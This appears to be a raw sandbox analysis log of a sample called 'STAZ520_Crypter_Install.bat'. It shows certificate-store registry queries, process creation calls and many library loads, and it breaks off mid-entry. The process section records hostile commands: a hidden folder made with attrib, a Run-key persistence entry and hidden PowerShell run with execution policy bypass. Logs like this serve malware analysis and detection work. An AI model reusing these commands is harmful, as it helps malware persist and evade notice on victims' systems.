"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")31:T5ca,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")32:T4d4,"cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /K "C:\STAZ520_Crypter_Install.bat"" - (UID: 00000000-00002212) "cmd.exe" called "CreateProcessW" with parameter "attrib +h "%APPDATA%\Microsoft\118f410eb6ac"" - (UID: 00000000-00003400) "cmd.exe" called "CreateProcessW" with parameter "powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-Content '%APPDATA%\Microsoft\118f410eb6ac\e321" - (UID: 00000000-00003400), "cmd.exe" called "CreateProcessW" with parameter "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "731d8cc2b9" /t REG_SZ /d "cmd.exe /c \"%USERPROFILE%\AppData\" - (UID: 00000000-00003400), "cmd.exe" called "CreateProcessW" with parameter "powershell -NoProfile -ExecutionPolicy Bypass -Command "try { $content = Get-Content -LiteralPath 'C:\STAZ520_Crypter_Install.bat" - (UID: 00000000-00003400), "cmd.exe" called "CreateProcessW" with parameter "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%TEMP%\ps_f8c40b9e.ps1"" - (UID: 00000000-00003400), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\do4x3zh4\do4x" - (UID: 00000000-00008016)33:T8e2d,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002212) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002212) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002212) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002212) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003400) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003400) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003400) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00001132) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00001132) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007468) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007468) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007468) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003984) "powershell.exe" called 